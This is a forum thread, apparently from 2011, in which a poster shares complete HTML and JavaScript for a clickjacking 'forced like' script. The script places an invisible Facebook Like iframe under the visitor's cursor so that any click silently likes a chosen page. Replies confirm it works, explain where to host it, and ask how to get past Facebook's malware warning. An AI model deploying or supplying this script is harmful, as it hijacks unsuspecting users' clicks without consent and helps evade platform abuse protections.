[GET] Basic Forced Like / Clickjacking script [Public Edition]

***TheDonator*** · 04-07-2011, 09:54 PM

Script below creates a iframe like box that follows your cursor. The iframe is invisible and requires the user to click somewhere.

Paste these codes into 2 separate files (one html, one js)

index.html

PHP Code:

<script language="javascript">  window.onload = function(){ var s = document.createElement('script'); s.src = 'jscript.js'; document.getElementsByTagName('body')[0].appendChild(s); }   </script> <body> Click anywhere </body> 

jscript.js

Code:

(function(){

  var Xcord = 0,

  Ycord = 0,

  IE = document.all ? true : false;

  if (!IE) document.captureEvents(Event.MOUSEMOVE);

  var lbox = document.createElement('iframe');

  lbox.src = 'http://www.facebook.com/plugins/like.php?href=' + encodeURIComponent(/*document.location.href*/ 'http://porn.com/') + '&amp;layout=standard&amp;show_faces=true&amp;width=53&amp;action=lbox&amp;colorscheme=light&amp;height=80';

  lbox.scrolling = 'no';

  lbox.frameBorder = 0;

  lbox.allowTransparency = 'true';

  lbox.style.border = 0;

  lbox.style.overflow = 'hidden';

  lbox.style.cursor = 'pointer';

  lbox.style.width = '53px';

  lbox.style.height =  '23px';

  lbox.style.position = 'absolute';

  lbox.style.opacity = 0;

  document.getElementsByTagName('body')[0].appendChild(lbox);

  window.addEventListener('mousemove', mouseMove, false);

  setTimeout(function(){

    document.getElementsByTagName('body')[0].removeChild(lbox);

    window.removeEventListener('mousemove', mouseMove, false);

  }, 10000);

  function mouseMove(e) {

    if (IE) {

      Xcord = event.clientX + document.body.scrollLeft;

      Ycord = event.clientY + document.body.scrollTop;

    } else {

      Xcord = e.pageX;

      Ycord = e.pageY;

    }

    if (Xcord < 0) Xcord = 0;

    if (Ycord < 0) Ycord = 0;

    lbox.style.top = (Ycord - 8) + 'px';

    lbox.style.left = (Xcord - 25) + 'px';

    return true

  }

})();

***in2x*** · 04-15-2011, 12:39 AM

thanks bro! will try this..

***cpachamp1*** · (This post was last modified: 05-27-2011 01:11 AM by cpachamp1.)

Its Working.. But When we share it on our wall.. and click link.. facebook malware popup :@

Is There Any way to Hide Malware?

***AaEzha*** · 07-02-2011, 03:11 AM

what a script!!

***robertutzu*** · 08-04-2011, 08:17 PM

d*** this is nice stuff works beautiful!!! THXX

***Drock*** · 08-04-2011, 10:30 PM

Anyone find out if there was a way to hide the malwarE?

***blackbat*** · 08-05-2011, 08:28 PM

I would like to try this out only if somehow could get rid of the malware. Thanks anyway Wink

***bigspanner*** · 08-05-2011, 08:48 PM

Please explain where do we upload these two files to.

I see http://porn.com in the javascript.

***moshakir*** · 08-06-2011, 12:19 AM

(08-05-2011 08:48 PM)bigspanner Wrote: Please explain where do we upload these two files to.

I see in the javascript.

The porn dot com should be replaced with your facebook fan page url. Better way should be to upload it to your website and let the user click. if facebook is opened it is give you a like.

That is what i feel.

***SEO*** · 08-15-2011, 04:39 AM

It's still working ???